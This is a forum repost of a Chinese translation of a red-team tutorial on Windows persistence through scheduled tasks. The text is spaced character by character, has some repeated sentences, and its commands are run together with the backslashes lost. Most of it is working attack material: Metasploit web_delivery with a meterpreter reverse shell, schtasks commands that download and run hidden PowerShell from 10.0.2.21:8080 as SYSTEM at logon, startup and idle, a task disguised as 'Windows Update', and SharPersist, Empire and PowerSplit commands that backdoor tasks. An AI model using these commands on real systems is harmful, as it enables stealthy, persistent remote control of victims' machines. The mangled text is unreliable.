搜索

[945] 2019-11-06_利用计划任务进行权限维持的几种姿势

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2019-11-06_利用计划任务进行权限维持的几种姿势 利 用 计 划 任 务 进 行 权 限 维 持 的 几 种 姿 势 B y p a s s   B y p a s s   2 0 1 9 - 1 1 - 0 6 W i n d o w s 操 作 系 统 提 供 了 一 个 实 用 程 序 （ s c h t a s k s . e x e ） ， 使 系 统 管 理 员 能 够 在 特 定 的 日 期 和 时 间 执 行 程 序 或 脚 本 。 这 种 行 为 可 作 为 一 种 持 久 性 机 制 被 r e d   t e a m 利 用 。 通 过 计 划 任 务 执 行 持 久 性 不 需 要 管 理 员 权 限 ， 但 如 果 已 获 得 提 升 的 权 限 ， 则 允 许 进 一 步 操 作 ， 例 如 在 用 户 登 录 期 间 或 在 空 闲 状 态 期 间 执 行 任 务 。 计 划 任 务 的 持 久 化 技 术 可 以 手 动 实 现 ， 也 可 以 自 动 实 现 。 有 效 负 载 可 以 从 磁 盘 或 远 程 位 置 执 行 ， 它 们 可 以 是 可 执 行 文 件 、 p o w e r s h e l l 脚 本 或 s c r i p t l e t 的 形 式 。 这 被 认 为 是 一 种 旧 的 持 久 性 技 术 ， 但 是 它 仍 这 被 认 为 是 一 种 旧 的 持 久 性 技 术 ， 但 是 它 仍 然 可 以 在 然 可 以 在 r e d   t e a m 场 景 中 使 用 ， 并 且 由 各 种 开 源 工 具 支 持 场 景 中 使 用 ， 并 且 由 各 种 开 源 工 具 支 持 。 M e t a s p l o i t   的 w e b _ d e l i v e r y 模 块 可 用 于 托 管 和 生 成 各 种 格 式 的 有 效 载 荷 。 在 命 令 提 示 符 下 ， “   s c h t a s k s   ” 可 执 行 文 件 可 用 于 创 建 计 划 任 务 ， 该 任 务 将 在 每 个 W i n d o w s 登 录 中 以 S Y S T E M 的 形 式 下 载 并 执 行 基 于 P o w e r S h e l l 的 有 效 负 载 。 命 令 提 示 符 - - 持 久 性 计 划 任 务 当 用 户 再 次 使 用 系 统 登 录 时 ， 将 执 行 有 效 负 载 ， 并 打 开 m e t e r p r e t e r 会 话 。 译 文 声 明 ： 本 文 由 B y p a s s 整 理 并 翻 译 ， 仅 用 于 安 全 研 究 和 学 习 之 用 。 原 文 地 址 ： h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 9 / 1 1 / 0 4 / p e r s i s t e n c e - s c h e d u l e d - t a s k s / u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 0 . 0 . 2 . 2 1 s e t   t a r g e t   5 e x p l o i t s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n l o g o n   / r u   S y s t e m
  M e t e r p r e t e r   –   持 久 性 计 划 任 务 也 可 以 在 系 统 启 动 期 间 或 用 户 会 话 处 于 非 活 动 状 态 （ 空 闲 模 式 ） 时 执 行 。 有 效 负 载 的 执 行 也 可 以 在 特 定 的 时 间 发 生 ， 并 且 可 以 具 有 到 期 日 期 和 自 删 除 功 能 。 “ s c h t a s k s ” 实 用 程 序 提 供 了 必 要 的 选 项 ， 因 为 它 是 其 功 能 的 一 部 分 。 持 续 性 – 计 划 任 务 日 期 和 时 间 如 果 为 目 标 事 件 启 用 了 事 件 日 志 记 录 ， 则 可 以 在 特 定 的 W i n d o w s 事 件 中 触 发 任 务 。 b 3 3 f 在 他 的 网 站 上 演 示 了 此 技 术 。 W i n d o w s 事 件 命 令 行 实 用 程 序 可 用 于 查 询 事 件 I D 。 # ( X 6 4 )   -   O n   S y s t e m   S t a r t s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n s t a r t   / r u   S y s t e m # ( X 6 4 )   -   O n   U s e r   I d l e   ( 3 0 m i n s ) s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n i d l e   / i   3 0 # ( X 8 6 )   -   O n   U s e r   L o g i n s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n l o g o n   / r u   S y s t e m # ( X 8 6 )   -   O n   S y s t e m   S t a r t s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n s t a r t   / r u   S y s t e m # ( X 8 6 )   -   O n   U s e r   I d l e   ( 3 0 m i n s ) s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n i d l e   / i   3 0 s c h t a s k s   / C R E A T E   / T N   " W i n d o w s   U p d a t e "   / T R   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / S C   m i n u t e   / M O   1   / E D   0 4 / 1 1 / 2 0 1 9   / E T   0 6 : 5 3   / Z   / I T   / R U   % U S E R N A M E % w e v t u t i l   q e   S e c u r i t y   / f : t e x t   / c : 1   / q : " E v e n t [ S y s t e m [ ( E v e n t I D = 4 6 4 7 ) ] ]
查 询 事 件 I D 可 以 创 建 一 个 计 划 任 务 ， 该 任 务 将 在 系 统 上 发 生 关 联 的 事 件 I D 时 执 行 有 效 负 载 。 持 久 性 – 计 划 任 务 事 件 I D “   查 询 查 询   ” 参 数 可 用 于 检 索 新 创 建 的 计 划 任 务 的 信 息 。 s c h t a s k s   / C r e a t e   / T N   O n L o g O f f   / T R   C : t m p p e n t e s t l a b . e x e   / S C   O N E V E N T   / E C   S e c u r i t y   / M O   " * [ S y s t e m [ ( L e v e l = 4   o r   L e v e l = 0 )   a n d   ( E v e n t I D = 4 6 3 4 ) ] ] " s c h t a s k s   / Q u e r y   / t n   O n L o g O f f   / f o   L i s t   / v
查 询 计 划 任 务 当 用 户 管 理 员 注 销 时 ， 将 创 建 事 件 I D ， 并 在 下 次 登 录 时 执 行 有 效 负 载 。 计 划 任 务 注 销 –   M e t e r p r e t e r 或 者 ， 可 以 使 用 P o w e r S h e l l 创 建 计 划 任 务 ， 这 些 任 务 将 在 用 户 登 录 时 或 在 特 定 时 间 和 日 期 执 行 。 $ A   =   N e w - S c h e d u l e d T a s k A c t i o n   - E x e c u t e   " c m d . e x e "   - A r g u m e n t   " / c   C : t e m p p e n t e s t l a b . e x e " $ T   =   N e w - S c h e d u l e d T a s k T r i g g e r   - A t L o g O n   - U s e r   " p e n t e s t l a b " $ S   =   N e w - S c h e d u l e d T a s k S e t t i n g s S e t $ P   =   N e w - S c h e d u l e d T a s k P r i n c i p a l   " P e n t e s t l a b " $ D   =   N e w - S c h e d u l e d T a s k   - A c t i o n   $ A   - T r i g g e r   $ T   - P r i n c i p a l   $ P   - S e t t i n g s   $ S R e g i s t e r - S c h e d u l e d T a s k   P e n t e s t l a b   - I n p u t O b j e c   $ D $ A   =   N e w - S c h e d u l e d T a s k A c t i o n   - E x e c u t e   " c m d . e x e "   - A r g u m e n t   " / c   C : t e m p p e n t e s t l a b . e x e " $ T   =   N e w - S c h e d u l e d T a s k T r i g g e r   - D a i l y   - A t   9 a m $ P   =   N e w - S c h e d u l e d T a s k P r i n c i p a l   " N T   A U T H O R I T Y S Y S T E M "   - R u n L e v e l   H i g h e s t $ S   =   N e w - S c h e d u l e d T a s k S e t t i n g s S e t $ D   =   N e w - S c h e d u l e d T a s k   - A c t i o n   $ A   - T r i g g e r   $ T   - P r i n c i p a l   $ P   - S e t t i n g s   $ S R e g i s t e r - S c h e d u l e d T a s k   P e n t e s t L a b o r a t o r i e s   - I n p u t O b j e c t   $ D
持 久 性 计 划 任 务 –   P o w e r S h e l l S h a r P e r s i s t 通 过 计 划 任 务 在 S h a r P e r s i s t 中 添 加 了 关 于 持 久 性 的 多 种 功 能 。 如 果 用 户 具 有 管 理 员 级 别 的 特 权 ， 则 以 下 命 令 可 以 创 建 一 个 新 的 计 划 任 务 ， 该 任 务 将 在 W i n d o w s 登 录 期 间 执 行 。   S h a r P e r s i s t   – 新 计 划 任 务 登 录 在 系 统 的 下 一 次 重 新 引 导 中 ， 有 效 负 载 将 执 行 ， 并 且 M e t e r p r e t e r 会 话 将 打 开 。 M e t e r p r e t e r   –   S h a r P e r s i s t 计 划 任 务 S h a r P e r s i s t 也 可 用 于 列 出 特 定 的 计 划 任 务 ， 以 识 别 所 有 者 ， 触 发 器 和 要 执 行 的 动 作 。 S h a r P e r s i s t . e x e   - t   s c h t a s k   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   a d d   - o   l o g o n S h a r P e r s i s t   - t   s c h t a s k   - m   l i s t   - n   " P e n t e s t L a b "
S h a r P e r s i s t   – 列 表 计 划 任 务 或 者 ， 仅 使 用 “   l i s t   ” 选 项 而 不 指 定 名 称 将 枚 举 系 统 上 所 有 现 有 的 计 划 任 务 。 S h a r P e r s i s t   – 列 表 计 划 任 务 类 似 于 M e t a s p l o i t   F r a m e w o r k 功 能 ， 该 功 能 具 有 检 查 目 标 是 否 易 受 攻 击 以 及 漏 洞 利 用 能 否 成 功 执 行 的 功 能 ， S h a r P e r s i s t 具 有 空 运 行 检 查 。 通 过 检 查 名 称 和 提 供 的 参 数 ， 此 功 能 可 用 于 验 证 调 度 任 务 命 令 。 S h a r P e r s i s t   – 检 查 计 划 任 务 S h a r P e r s i s t 还 可 以 枚 举 登 录 期 间 将 执 行 的 所 有 计 划 任 务 。 此 命 令 可 用 于 主 机 的 态 势 感 知 期 间 ， 并 确 定 是 否 存 在 可 以 修 改 以 运 行 有 效 负 载 而 不 是 创 建 新 任 务 的 现 有 计 划 任 务 。 S h a r P e r s i s t   – 列 出 登 录 计 划 任 务 该 s c h t a s k b a c k d o o r 功 能 与 检 查 相 结 合 的 参 数 可 以 识 别 ， 如 果 一 个 特 定 的 计 划 任 务 已 后 门 。 S h a r P e r s i s t   - t   s c h t a s k   - m   l i s t S h a r P e r s i s t . e x e   - t   s c h t a s k   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   c h e c k S h a r P e r s i s t   - t   s c h t a s k b a c k d o o r   - m   l i s t   - o   l o g o n S h a r P e r s i s t . e x e   - t   s c h t a s k b a c k d o o r   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   c h e c k
S h a r P e r s i s t   – 检 查 后 门 计 划 任 务 “   A d d   ” 参 数 将 后 门 现 有 的 计 划 任 务 ， 该 任 务 将 执 行 恶 意 命 令 ， 而 不 是 执 行 更 隐 蔽 的 持 久 性 选 项 来 执 行 合 法 动 作 。   S h a r P e r s i s t   – 后 门 计 划 任 务 E m p i r e E m p i r e 根 据 活 动 代 理 的 特 权 包 含 两 个 模 块 ， 这 些 模 块 可 用 于 实 施 计 划 任 务 的 持 久 性 技 术 。 以 下 配 置 每 天 凌 晨 0 3 : 2 2 将 执 行 基 于 P o w e r S h e l l 的 有 效 负 载 。 有 效 负 载 存 储 在 注 册 表 项 中 ， 任 务 名 称 为 “   W i n d o w s U p d a t e   ” ， 以 便 区 分 合 法 的 计 划 任 务 。 E m p i r e   –   持 久 性 计 划 任 务 计 划 任 务 的 提 升 模 块 提 供 了 在 用 户 登 录 期 间 执 行 有 效 负 载 的 选 项 。 在 这 两 个 模 块 中 ， 都 将 使 用 注 册 表 以 B a s e 6 4 编 码 格 式 存 储 有 效 负 载 ， 但 是 以 不 同 的 注 册 表 项 存 储 。   E m p i r e   E l e v a t e d   –   持 久 性 计 划 任 务 P o w e r S p l o i t P o w e r S p l o i t 的 持 久 性 模 块 支 持 各 种 功 能 ， 可 用 于 向 脚 本 或 脚 本 块 添 加 持 久 性 功 能 。 在 添 加 持 久 性 之 前 ， 需 要 配 置 高 架 选 项 和 用 户 选 项 。 S h a r P e r s i s t . e x e   - t   s c h t a s k b a c k d o o r   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " R e c o n c i l e L a n g u a g e R e s o u r c e s "   - m   a d d u s e m o d u l e   p e r s i s t e n c e / u s e r l a n d / s c h t a s k s s e t   L i s t e n e r   h t t p s e t   T a s k N a m e   W i n d o w s U p d a t e s e t   D a i l y T i m e   0 3 : 2 2 e x e c u t e u s e m o d u l e   p e r s i s t e n c e / e l e v a t e d / s c h t a s k s * s e t   L i s t e n e r   h t t p $ E l e v a t e d O p t i o n s   =   N e w - E l e v a t e d P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - H o u r l y $ U s e r O p t i o n s   =   N e w - U s e r P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - H o u r l y A d d - P e r s i s t e n c e   - F i l e P a t h   C : t e m p e m p i r e . e x e   - E l e v a t e d P e r s i s t e n c e O p t i o n   $ E l e v a t e d O p t i o n s   - U s e r P e r s i s t e n c e O p t i o n   $ U s e r O p t i o n s
    P o w e r S p l o i t   – 计 划 任 务 我 创 建 了 一 个 付 费 社 群 ， 用 于 分 享 高 质 量 安 全 干 货 ， 有 兴 趣 的 童 鞋 都 可 以 加 入 !
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理